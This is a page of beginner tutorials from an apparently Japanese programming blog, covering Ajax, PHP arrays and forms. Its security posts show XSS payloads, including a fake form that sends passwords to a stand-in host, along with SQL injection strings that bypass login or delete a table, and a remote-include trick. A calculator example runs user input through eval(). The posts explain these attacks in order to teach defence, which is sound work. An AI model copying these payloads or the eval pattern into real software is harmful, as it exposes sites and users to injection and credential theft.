忍者ブログ
[PR]
×

[PR]上記の広告は3ヶ月以上新規記事投稿のないブログに表示されています。新しい記事を書く事で広告が消えます。



2026/05/04 10:17 |
JavaScript2-1:XMLHttpRequest

Ajaxとは、ページ全体をリロードすることなくサーバとデータをやり取りし、
リアルタイムに画面表示を変更できるという素敵極まりない技術のことです。
XMLHttpRequestというクラスを用いて通信を行います。

さっそくですが実際に使ってみましょう。
とりあえずクラスなのでオブジェクトを作成します。
基本的にXMLHttpRequestで作成するのですが、
例によってIEは独自仕様なのでActiveXObjectを使用する必要があります。

var xxxxx=new XMLHttpRequest();
var xxxxx=new ActiveXObject("Microsoft.XMLHTTP");
var xxxxx=new ActiveXObject("Msxml2.XMLHTTP");


Microsoft.XMLHTTPはIEなら何れでも、Msxml2.XMLHTTPはIE6以降(Microsoft.XMLHTTPより速い)、XMLHttpRequestはIE7以降およびIE以外のブラウザで使用できます。
ブラウザ毎にページを分けるのも馬鹿らしいので簡単にまとめましょう。

if(window.XMLHttpRequest){
    xxxxx=new XMLHttpRequest();
}else{
    xxxxx=new ActiveXObject("Microsoft.XMLHTTP");
}


え?両方とも対応してないブラウザ?そんなん知らんがな。

※正しく書くならこんなかんじ

var xxxxx = false;

if(window.XMLHttpRequest) {
    // Firefox, Opera など
    xxxxx = new XMLHttpRequest();
    xxxxx.overrideMimeType('text/xml');
} else if(window.ActiveXObject) {
    // IE
    try {
        xxxxx = new ActiveXObject('Msxml2.XMLHTTP');
    } catch (e) {
        xxxxx = new ActiveXObject('Microsoft.XMLHTTP');
    }
}


さてXMLHttpRequestクラスから作成したオブジェクトxxxxxに対して、
以下のようなメソッドやプロパティで操作を行うことができます。
今回はとりあえずテキストファイルを表示してみます。

xxxxx.open("GET","ajax.txt",true);

xxxxxオブジェクトに対し、ajax.txtをGETメソッドで取得するという命令を作成します。
あくまで作成するだけで実行はまだ行いません。
trueは非同期という意味で、返事を気にせずに次の行に突き進みます。
falseにすると非同期になり、ファイルの内容を取得するまで処理が止まります。
falseだとプログラムの処理は簡単になりますが、
Ajaxはリアルタイムであることに意味があるので、よほどのことがなければtrueでいきましょう。

xxxxx.send(null);

openメソッドで作成した命令を、実際に送信します。
パラメータを渡したい場合は()内に記入します。
今回はajax.txtのテキストファイルを取得するだけなのでnullです。

xxxxx.abort();

sendした命令を中止します。
サーバが落ちてていつまでも反応が返ってこないといった場合に使うべきなのですが、今回はまあテストなのでパス。

xxxxx.getAllResponseHeaders()
getResponseHeader("ラベル名")


返ってきたデータのヘッダを見ることが出来ます。
ETag、Content-Length、Keep-Alive、Content-Type、Last-Modified等が参照できます。

xxxxx.onreadystatechange

後述のreadyStateプロパティが変化するたびにイベントが発生するという超便利なイベントハンドラです。
xxxxx.onreadystatechange=checkState;
と記入するだけでreadyStateが変化するたびにcheckState関数を実行してくれます。
ただ、checkState(xxxxx)というふうに引数を渡すとエラーになります。
このせいでXMLHttpRequestオブジェクトがグローバル必須になってしまうのですが・・・何故。

xxxxx.readyState

sendで送ったリクエストが現在どんな状態か知ることができます。
0~4の5種類あります。2なら受信待ち、3なら受信中、等。
でもまあデータを全部受信したら4以外はあまり使いません。

xxxxx.status

xxxxx.readyStateでデータを全部取得した、と思ったら実は404NotFoundの応答を全部受信しただけだった、なんてことがあるわけで、応答の内容をstatusでチェックします。
200だと正常な応答、ということになります。

xxxxx.responseText
xxxxx.responseXML


実際に帰ってきたデータが入るところです。
TextかXMLかは返ってきたデータ形式で変わります。今回はテキストなので当然responseTextに入っています。

もちろんメソッドプロパティは他にもまだありますが、とりあえずはこんなところで。
さて、上記を纏めると以下のようになります。

http://yuubiseiharukana.creativeroot.jp/ajax1/ajax1-1-1.html

<script type="text/javascript">
<!--
    //XMLHttpRequestオブジェクトはグローバルで指定
    var xxxxx;
    
    //メインルーチン
    function loadButton(){        
        //オブジェクトを作成
        xxxxx=createXmlHttpRequest();
        //リクエストを作成
        xxxxx.open("GET","ajax.txt",true);
        //readyStateが変更になるたびに実行される関数を指定
        xxxxx.onreadystatechange = checkStatus;
        //リクエストを送信
        xxxxx.send(null);
    }

    //readyStateが変更になるたびに実行される関数
    function checkStatus(){
        //受信完了したか、無事に受信できたか確認
        if(xxxxx.readyState == 4 && xxxxx.status == 200){
            alert(xxxxx.responseText);
        }
    }

    //HTTPリクエスト作成関数
    function createXmlHttpRequest() {
        var xmlhttp = false;
        if( window.XMLHttpRequest) {
            xmlhttp = new XMLHttpRequest();
        } else if(window.ActiveXObject) {
            try {
                xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
           } catch(e) {
                xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
           }
       }
    return xmlhttp;
    }

-->
</script>

<input type="button" value="ajaxテスト" onClick="loadButton()">


適当にテキストファイルを作って同じフォルダに入れておいてください。
うまくajax.txtの取得に成功すると、アラートが表示されます。めでたし。
文字化けで上手く表示されない場合、ajax.txtの文字コードをUTF-8にしてください。
AjaxはUTF-8が前提にされています。

上記のとおり、xxxxx.onreadystatechange = checkStatus(xxxxx)
というふうにcheckStatus関数にオブジェクトを渡せないので
XMLHttpRequestオブジェクトはグローバルで作成する必要があります。今のところ。

PR


2008/04/24 13:09 | Comments(0) | TrackBack() | JavaScript
PHP1-6:連想配列と多次元配列
配列でユーザの情報を管理するとしましょう。

#'0'=>'苗字','1'=>'名前','2'=>'ユーザID',
   '3'=>'パスワード','4'=>'郵便番号','5'=>'住所',
   '6'=>'メールアドレス','7'=>'ホームページ','8'=>'性別'
$yamada=array('0'=>'山田','1'=>'太郎','2'=>'yamadax',
   '3'=>'pass','4'=>'111-1111','5'=>'',
   '6'=>'a@a.jp','7'=>'','8'=>'男');


ユーザIDを取得したいときは、
$yamada[2]
で取得できます。

さて、スクリプトの作成時はまだいいのですが、
時間をおいて見直すと、各数字が何を表しているのか間違いなくわからなくなります。
コメントに書いてはあるので代入時はともかく、
プログラムのずっと下のほうで$yamada[7]を使用していたとき、
$yamada[7]って何だっけ、などとなってしまうともう大変です。

そんなときのために連想配列というものが用意されています。
簡単に言うと数値のかわりに文字を使える配列です。
とりあえず書き換えてみましょう。

$yamada=array('firse_name'=>'山田',
   'last_name'=>'太郎','user_id'=>'yamadax',
   'user_pass'=>'pass','zip_code'=>'111-1111',
   'address'=>'','mail_address'=>'a@a.jp',
   'homepage_address'=>'','sex'=>'男');


ユーザIDを取得したいときは、
$yamada['user_id']
で取得できます。

これならプログラムのずっと下のほうに$yamada['homepage_address']があった場合、
$yamada['homepage_address']が何を表しているのか容易にわかるでしょう。

はて。
元々配列ってのが個別に変数名をつけると大変だから数値にしたというのに、
その数値をまた文字に直してどうするんだろう?
と思うかもしれません。

幸いなことにPHPでは連想配列をひと塊の変数と考えることができ、
その各要素に、あるいは全体にアクセスできる方法が揃っています。
例えばforeach文は、for文のように連想配列の各要素に対して処理を繰り返します。

foreach($yamada as $xxxxx => $yyyyy){
   print('連想配列名:'.$xxxxx.' その値'.$yyyyy.'<br>');
}


で全要素の名前とその値を表示、等ということを行うことが出来ます。
他にもarray_pushやarray_filter等の有用な関数が揃っているので、
いろいろ使ってみましょう。

中にはarray_product等の、いったい誰がこんなの使うんだ的な関数もありますが。


さて、山田さん以外に鈴木さんの情報を管理したいとしましょう。
$suzuki
を作るとなるとまた変数が増えます。
同姓同名の山田さんが増えたりするともう大変です。

そんなときのために多次元配列が使用可能となっています。
一見入り組んでて複雑に見えますが、やってることは今までの配列と同じです。
以下のように書くことが出来ます。
上は1行で書いてあり、下は2行で書いてありますが、中身は同じです。

$user_info=array(
    array(
        'firse_name'=>'山田','last_name'=>'太郎',
        'mail_address'=>'a@a.jp'),
    array(
        'firse_name'=>'鈴木','last_name'=>'次郎',
        'mail_address'=>'')
);

$user_info[]=array(
        'firse_name'=>'山田','last_name'=>'太郎',
        'mail_address'=>'a@a.jp');
$user_info[]=array(
        'firse_name'=>'鈴木','last_name'=>'次郎',
        'mail_address'=>'');


$user_info[0]['first_name']で「山田」が取得でき、
$user_info[1]['last_name']で「次郎」が取得できます。

この書き方なら、いくら人数が増えても1次元目の数値を増やすだけで簡単に対応できます。
たとえば、全員に対してメアドがきちんと書かれているか空白のチェックを行いたい場合、

foreach($user_info as $xxxxx){
    if(!$xxxxx['mail_address']){
        print($xxxxx['firse_name'].'のメアドが空白');
    }
}


というような書き方が出来ます。
たった数件ならどのような書き方をしても大してかわりませんが、
後々のことを考えると、できるだけループで処理できるコードを書くほうがよいでしょう。

多次元配列は便利ですが、使いすぎると逆にわかりにくくなる上にメモリを大量に使用するので、
せいぜい3次元程度にとどめておきましょう。



2008/04/23 13:44 | Comments(0) | TrackBack() | PHP
PHP1-5:配列
10個の変数を使用したいとしましょう。

$a0='apple';
$a1='orange';
$a2='banana';
$a3='grape';
$a4='peach';
$a5='melon';
$a6='blueberry';
$a7='blackberry';
$a8='raspberry';
$a9='strawberry';


疲れました。

すべての値を表示したい場合は、以下のように書かねばなりません。

print($a0.'<br>'.$a1.'<br>'.$a2.'<br>'.$a3.'<br>'.$a4.'<br>'
         .$a5.'<br>'.$a6.'<br>'.$a7.'<br>'.$a8.'<br>'.$a9);

10個の中から特定の文字を検索したい、となるともっと大変です。

$match_word='peach';
if($a0==$match_word){print('0');}
elseif($a1==$match_word){print('1');}
elseif($a2==$match_word){print('2');}
elseif($a3==$match_word){print('3');}
elseif($a4==$match_word){print('4');}
elseif($a5==$match_word){print('5');}
elseif($a6==$match_word){print('6');}
elseif($a7==$match_word){print('7');}
elseif($a8==$match_word){print('8');}
elseif($a9==$match_word){print('9');}

たとえば変数が100個になったら、などと考えると馬鹿馬鹿しすぎて実用になりません。

このような無駄を排除するため、ほぼ全ての言語には配列という機能が備わっています。
使用方法は慣れないと面倒かもしれませんが、考え方としては簡単です。
配列名に数字を使えるようにした、というだけです。
とりあえず書き換えてみましょう。

$a[0]='apple';
$a[1]='orange';
$a[2]='banana';
$a[3]='grape';
$a[4]='peach';
$a[5]='melon';
$a[6]='blueberry';
$a[7]='blackberry';
$a[8]='raspberry';
$a[9]='strawberry';

どこが変わったかというと、数字が[]で括られているというところだけです。
これで何が違うか、最大の利点は、[]内の数値に変数を入れることが出来るという点です。
表示、検索を配列で書き換えてみましょう。

for($i=0;$i<count($a);$i++){
 print($a[$i].'<br>');
}

for($i=0;$i<count($a);$i++){
 if($a[$i]==$match_word){print($i);}
}


このように大量の変数に対して繰り返し同じ処理を行いたい、
そのような場合に威力を発揮するのが配列です。

さて、表示検索は短く書き換えられたのに、定義だけは長文のままです。
もちろんこれも短く書ける方法があります。しかも複数。
以下の設定方法は、どちらも同じになります。
下のように設定する意味は次回わかるでしょう。きっと。

$a=array('apple','orange','banana','grape','peach','melon',
              'blueberry','blackberry','raspberry','strawberry');

$a=array('0'=>'apple','1'=>'orange','2'=>'banana','3'=>'grape',
                '4'=>'peach','5'=>'melon','6'=>'blueberry',
                '7'=>'blackberry','8'=>'raspberry','9'=>'strawberry');


配列を使用すると入力値の処理等が劇的に楽になりますので、是非使用法をマスターしましょう。

ちなみに上の表示検索処理ですが、もっと簡単な関数が用意されていたりします。

print_r($a);

print(array_search($match_word,$a));



2008/04/21 12:32 | Comments(0) | TrackBack() | PHP
PHP1-4:変数の使用


http://yuubiseiharukana.creativeroot.jp/php1/php1-4-1.php

<?php
  $x=1;
  $y=2;
  print($x+$y);
?>

さあ何と表示されるでしょう?

$xというのは変数です。
中学校の数学を思い出してください。
  y=2x+1
とかやりましたね。
文字式と言ってましたが、プログラミングでは変数と言います。
PHPでは(そして大半の言語では)頭に$をつけることで、変数を表します。
  $x=1
とした場合、$xという変数に1という内容が詰め込まれる、ということです。

$xは文字ですが、中身は数値なので計算することが可能です。
従って、$x+$yという計算を行うと、答えは3となります。

つまり、上のプログラムは「3」と表示されます。

このような計算を用いた動的なページ生成、
これがPHPを用いてページを表示する最大の理由となります。

実のところHTMLだけでは買い物籠の中身を保持することすらできないので、
ちょっとでもインタラクティブなページを作成したいなら
他言語の助けを借りることが必須となります。
その手段がPHPでありPerlでありJavaScriptであるというわけです。


今のは最初から値を設定してあったわけですが、
今度はフォームから値を取得する、本格的な動的ページを作成していきましょう。

http://yuubiseiharukana.creativeroot.jp/php1/php1-4-2.php
<html>
 <head>
 </head>
 <body>
  <form method="POST" action="
    <?php print(htmlspecialchars($_SERVER['SCRIPT_NAME'])); ?>
  ">
  <input type="text" maxlength="20" name="shiki"><br />
  <input type="submit" value="送信">
 </form>
 <hr>
 <?php
  if($_POST['shiki']){
   $x=htmlspecialchars($_POST['shiki']);
   print($x);
  }
 ?>
</body>
</html>


テキスト欄に入力した文字を、ただ単に表示するだけの内容です。
たったこれだけでも、HTMLだけでは不可能な処理です。

カウンターもブログもSNSも、すべてはこの入力フォームがスタート地点です。
徐々に規模を大きくしていきましょう。

$_POSTは、フォームで送信した内容を受け取ることができる特殊な変数で、
PHPに予め用意されている「スーパーグローバル変数」と呼ばれるものの一種です。
  $_POST['shiki']
と書くだけで、フォームのname="shiki"から送られてきた値を取得することができます。
これはもうPHPには無くてはならない機能です。

同様なスーパーグローバル変数に、$_GET,$_SESSION,$_SERVER等がありますが、
どれも便利なので徐々に使えるようになっていきましょう。

ちなみに、htmlspecialcharsは、PHPを扱う上でprintより大切な関数です。
画面表示を行う場合、必ず使ってください。必ずです。
詳しくはクロスサイトスクリプティングの章を参考。
http://yuubiseiharukana.blog.shinobi.jp/Entry/4/

フォームの送り先が、
<?php print(htmlspecialchars($_SERVER['SCRIPT_NAME'])); ?>
とすごいことになってますが、これは「自分自身」を表しています。
とりあえず今の段階では、とりあえずこれをコピペして使うようにしてください。
別にaction="./php1-4-2.php"とファイル名を直接指定しても構わないのですが、
今後ファイル名を変更したりフォルダを移動したりした場合、
書き換えが面倒だったり書き換え忘れて不具合が出たりすると不便なので、
動的に作成できる部分は動的に作りましょう。


最後に簡単な計算プログラムを置いておきます。
入力値の処理が非常に甘いので、数式以外を入力すると致命的エラーになります。
ぜひ入力値をチェックするようにカスタマイズしてみましょう。

http://yuubiseiharukana.creativeroot.jp/php1/php1-4-3.php
<html>
 <head>
 </head>
 <body>
 <form method="POST" action="
    <?php print(htmlspecialchars($_SERVER['SCRIPT_NAME'])); ?>
  ">
  <input type="text" maxlength="20" name="shiki"
   value="<?php print($_POST['shiki']); ?>">←数式を入力<br />
  <input type="submit" value="計算する">
 </form>
 <hr>
 <?php
  if($_POST['shiki']){
   $x=htmlspecialchars($_POST['shiki']);
   print($x.'=');
   eval("print $x;");
  }
 ?>
 
</body>
</html>


まあ、この程度の内容ならJavaScriptのほうが手っ取り早いのですが、それはまたそのうち。



2008/04/19 21:43 | Comments(0) | TrackBack() | PHP
PHP0-2:フォームで「すべて選択」「選択解除」

大量のチェックすボックスが存在する掲示板やメールの管理フォームには、
よくJavaScriptによる「すべて選択」「選択解除」ボタンが実装されています。

これをPHPと併用すると問題が発生します。

<form method="GET">
<input type="checkbox" name="aaaaa" value="1">
<input type="checkbox" name="aaaaa" value="2">
<input type="checkbox" name="aaaaa" value="3">

<input type="button" name="aaa" value="すべて選択" onClick="check(true);">
<input type="button" name="aaa" value="選択解除" onClick="check(false);">

aaaaaというnameに複数の値を設定し、valueで区別するというよく見るフォームです。

name="aaaaa"の配列に値が全て入っているので、
JavaScript側ではlengthで長さを取得し、forで回すだけで簡単に実装できます。

function check(check){
    for(var count=0;count<document.forms[0].aaaaa.length;count++){
        document.forms[0].aaaaa[count].checked=check;
    }
}

さて、このフォームをPHPに渡すと重大な問題が表れます。


本来HTMLでは同一nameで複数のvalueを許可しており、
http://www.asahi-net.or.jp/%7Esd5a-ucd/rec-html401j/interact/forms.html#checkbox
実際送信先に渡されるパラメータも?aaaaa=1&aaaaa=2&aaaaa=3
という形になっていますが、
$_GETで受け取ると、「最後の一個の値しか取得できない」という不具合仕様が現れます。
この場合$_GET['aaaaa']=3となってしまい、
aaaaa=1やaaaaa=2の部分から値を取得することは出来ません。
文字列としてならば、$_SERVER["QUERY_STRING"]で"aaaaa=1&aaaaa=2&aaaaa=3"という値を取得することができます。
これはURLの?以降の部分となります。

method="POST"だと内部構造がどうなってるのかはよくわかりませんが、
$_POSTで受け取れる値はやはり最後の一個だけです。
こちらの場合はURLが変化するわけではないので、$_SERVER["QUERY_STRING"]を使ってもaaaaa=1の値を受け取ることはできません。


ちなみにPerlでは配列で受け取ることが可能です。
PHPの仕様で、どうにもならないのでHTML側を書き換えるしかありません。

<input type="checkbox" name="aaaaa[]" value="1">
<input type="checkbox" name="aaaaa[]" value="2">
<input type="checkbox" name="aaaaa[]" value="3">

とすると、PHPで受け取った場合[]内に数値が自動的に入り、
$_GET['aaaaa'][0]等で各値を無事受け取れるようになります。

ところがこうすると今度はJavaScript側で問題が発生します。
JavaScriptはaaaaa[]を配列として見てくれないので、
よってlengthで要素数を取得できません。
またdocument.forms[0].aaaaa[0]等とやっても値は取得できません。

結論から言うと下記で取得できます。
document.forms[0].elements['aaaaa[]']

elementsにはフォーム内の全要素が入るので、
その中からaaaaa[]の集合を抜き出しています。

従って、PHPとJavaScriptで同じnameの要素を使用したい場合、
JavaScript側で、「aaaaa」を「elements['aaaaa[]'」と書き換えると動きます。

function comment_check(check){
    for(var count=0;count<document.forms[0].
      elements['aaaaa[]'].length;count++){
        document.forms[0].elements['aaaaa[]'][count].checked=check;
    }
}


思うにPHPの作者はJavaScriptが嫌い。



2008/04/18 17:24 | Comments(0) | TrackBack() | PHP
呪いの数列コンバータを作った

呪いの数列コンバータはこちら


2008/04/17 14:42 | Comments(0) | その他
その他1-2:セキュリティ対策2:SQLインジェクション

さて今回はSQLインジェクションの話。
名前のとおりデータベースに関する脆弱性です。
まずは例によって悪例から。
フォーム部分やSQL実行部分は書いていませんので適当なものがあると思ってください。

sqli.php

<!-- パスワードをチェックするプログラム -->
$name=$GET['name'];
$pass=$GET['pass'];

$sql='SELECT * FROM user-data 
         WHERE name='.$name.' and pass='.$pass;


$nameでユーザ名を、$passでパスワードを取得して、
データベースと照合するという簡単なログインフォームです。

さて誰かがユーザ名「xxx」パスワード「yyy」でログインしてきた場合、
SQL文は次のようになります。

SELECT * FROM user-data WHERE name=xxx and pass=yyy

nameがxxxであり、passがyyyである人が検索されます。
想定通りに動作しました。

悪意のあるユーザがユーザ名「aaa」パスワード「aaa or 1=1 limit 1」
と入力したとします。SQL文は、

SELECT * FROM user-data WHERE name=aaa and pass=aaa or 1=1 limit 1

SQLではandのほうが優先されます。上のSQLは

SELECT * FROM user-data WHERE ( name=aaa and pass=aaa ) or 1=1 limit1

と解釈されます。
1=1は常に真なので、このSQL文は「user_dataテーブルの一番上の人の情報」を意味します。
ユーザ名もパスワードもわからないのにログインできてしまいました。
非常に重大な欠陥ですね。

さて、もっと悪意のある人が、
ユーザ名「aaa」パスワード「aaa;DELETE FROM user_data;」
と入力してきました。SQL文は、

SELECT * FROM user-data WHERE name=aaa and pass=aaa;DELETE FROM user_data;

user_dataテーブルが綺麗さっぱり消滅してしまいました。

こんなに簡単にわかる危険性でありながら、
対策を怠り被害に遭うサーバが後を絶ちません。
有名どころでは価格.com等も個人情報を盗まれています。

PHPでの対策としては、自力でエスケープもできますが、
対策を行ってくれるライブラリを使用するのが最も安全でしょう。
使用法はまたそのうち。

次回はセッション乗っ取りでも・・・と言いたいところですがちょっと理解しきれてないので微妙。



2008/04/16 02:03 | Comments(0) | TrackBack() | セキュリティ
PHP0-1:これもXSSになるのかなあ?
XSSの説明としてフォームに関することがよく挙げられます。
外部からの入力は、必ず汚染されているものだという前提で処理を行う必要があります。

xss.php
<?php
print($_GET['入力'])
?>

xss.phpにはクロスサイトスクリプティングに対する処理が行われていないので、
  xss.php?入力=<script>○○
等と好き放題行えます。

このことに関する記事はちょっと探せば大量に出てきます。


さて、xssのチェックを行う関数xss_check()を実装したとして、以下のような処理を行ってみます。

http://hogehoge.com/a.php
$data=$_GET['data']
$check=xss_check($data);

if($check=='OK'){
  include_once 'ok.php';
}else{
  include_once 'ng.php';
}

xss_check関数で問題が無ければok.phpを呼び出し、駄目であればng.phpを呼び出すという処理です。
ok.php内では$dataを画面表示したりDBに登録したりする処理を行っています。
見た目もわかりやすいですし入力値のチェックも行っているので問題ないように見えます。

ところでincludeは外部サーバのファイルも取得することが出来ます。
下のコードをちょっと見てください。

http://xxxxxx.com/b.php
$data='危険なコード';

  include_once 'http://hogehoge.com/ok.php';

何のチェックも通さずにok.phpが実行されてしまいました。

b.phpのカレントディレクトリはxxxxx.comになるので、
hogehoge.comがカレントディレクトリという前提で動いているa.phpは、大抵の場合動作しません。
しかしchdir等でうまく場所を合わせられたり、a.phpが外部からincludeされる前提で作成されたりしていた場合など、
動いてしまう可能性も0ではありません。

もちろんb.phpを動かすためにはa.phpの構造を知らないといけないので
そう簡単に出来るわけではありませんが、
外部から操作できるという点では明らかにセキュリティホールになり得ます。


この手の情報ってあんまり見たことないんですが気のせい?


2008/04/14 18:59 | Comments(0) | TrackBack() | PHP
その他1-1:セキュリティ対策1:クロスサイトスクリプティング
現在、あらゆるプログラミング行為で最も重要なのはセキュリティ対策です。
とりあえず以下のプログラムを見てください。
あえて不完全にしてありますが、それでも決してアップロードしないように。

xss.php
<!-- テキストエリアの文字を表示するプログラム -->
<form method="GET" action="./xss.php">
 <input type="text" name="入力">
 <input type="submit">
</form>
<br />

<?php
print($_GET['入力'])
?>


まずform,inputタグで任意のテキストを入力します。
そのテキストの送り先はaction="./xss.php"、つまりこのプログラム自身です。
次にPHPのprint関数で文字を表示します。
説明は別のところでしますが、$_GET[]という変数は、
フォームの入力データのことを示します。

つまり、フォームに入力されたデータをただ単に表示する、それだけのプログラムです。

さてこのプログラム、セキュリティ的に重大な欠点があります。欠陥品です。

入力フォームに具体的データを入れてみましょう。

  「Hello,world」
   ↓
  フォームの下に「Hello,world」と表示されるだけです。

  「<b>Hello,world</b>」
   ↓
  Hello,worldが太字で表示されます。つまり<b>タグがブラウザで解釈されてしまっています。

これを利用すると、いろんな危険行為が可能となってしまいます。

  「<script>alert("Hello,world");</script>」
   ↓
  JavsScriptが実行され、ダイアログボックスが表示されます。

  「入力が認識できませんでした。パスワードを再度入力して下さい。<form method="POST" action="http://www.hogehoge.com/index.cgi"><input type="text" name="入力"><input type="submit"></form>」
   ↓
  うっかりパスワードを入力してしまった場合、パスワードが別のサーバに送信されてしまいます。
  実際はGETの文字数制限の為動きませんが、だからといって危険を残しておいてはいけません。


またこのプログラム、データをGETで送っているので別の問題があります。
GETというのはamazonとかでよく見るURLの後に?○○=××というやつで、
あれでサーバに対して情報を送ることが出来ます。
というわけでxss.phpにアクセスするとき、
 xss.php?入力=Hello,world
とアドレス欄に入力するとHello,worldが表示されます。

というわけで悪意を持った人が
 xss.php?入力=<script>while(1){document.write("Hello,world");}</script>
というアドレスに対してリンクを張ると、
そのリンクを踏んだ人のブラウザが死にます。

以上の話はクロスサイトスクリプティングという有名な脆弱性で、
これの対策が行われていないと話にならない、というレベルです。

まあ回避方法も色々あって、たとえば上記のxss.phpでは
print(htmlspecialchars($_GET['入力']))
と書くだけでほぼ無問題になります。

それどころかライブラリを使用すれば、
一切対策を気にしなくていいなんてものすらあるのですが、
とりあえずプログラムを書く上ではこのような脆弱性の話は
一般常識として知っておかねばなりません。

次回はSQLインジェクションの話でも。



2008/04/14 05:16 | Comments(0) | TrackBack() | セキュリティ
PHP1-3:Hello,worldの解説
とりあえず前回表示したHello,worldのソースを見てみます。

中身は
Hello World
とだけ書かれているはずです。

それ以外のものがくっついていたとしたら、
無料サーバにはありがちな自動で付加される広告なので気にしない方向で。

前回書いたプログラムがどうやってHTMLになったのでしょうか。

1.<?php
2.    print("Hello,world");
3.?>

まず1,3行目の<?php ?>ですが、ここからここまでがPHPですよ、という目印です。
プログラムを書くときは必ず<?php ?>でくくってから書く必要があります。
逆に言うと括弧の外はPHPではないわけで、では何と判断されるというかというとHTMLです。
ちょっと試してみましょう。

以下のファイルを『index2.php』としてアップします。

http://yuubiseiharukana.creativeroot.jp/index2.php
<html>
 <head>
 </head>
 <body>
   Hello,world
 </body>
</html>

文書型宣言とか色々必要なものを飛ばしているので良くない内容なのですが、とりあえず動きます。
どう表示されるかというと、拡張子は.phpなのに極めて普通にHTMLが出力されています。

もうひとつ試してみましょう。今度はindex3.phpとしましょう。
こんな適当な名付け方していると後で泣きを見る羽目になるのですが、
とりあえずは気にしない方向で。

http://yuubiseiharukana.creativeroot.jp/index3.php
<html>
 <head>
 </head>
 <body>
  <?php print("Hello,world"); ?>
 </body>
</html>

表示結果はindex2.phpとまったく一緒、一字一句の違いもありません(スペースの数は違うかも)

もうおわかりですね。
サーバはphpファイルを読み、<?php ?>の中身だけを解釈し、
テキストに変換してからブラウザに渡すわけです。

遅れましたがprint();の説明。これはもう見たまんま、()の中身を表示せよの意味です。
print  http://jp.php.net/print
色々難しいことが書いてありますがおいおいわかってきます。
今はシングルクォーテーション(ダブルクォーテーションでもいい)で囲った文字が表示されるとだけ。


結論として、
  <?php print("Hello,world"); ?>
はサーバで解釈され、文字列
 Hello,world
になる、ということです。

そんな文字を表示するだけなのにいちいちプログラム書かないといけないの?
と思うかもしれませんが、
次回の記事で早速その思いは打ち砕かれることでしょう。
たぶん。

今日はとりあえずPHPマニュアルをブックマークしておくように。
PHPプログラマの必需品です。
http://jp.php.net/manual/ja/index.php


2008/04/13 14:33 | Comments(0) | TrackBack() | PHP

<<前のページ | HOME | 次のページ>>
忍者ブログ[PR]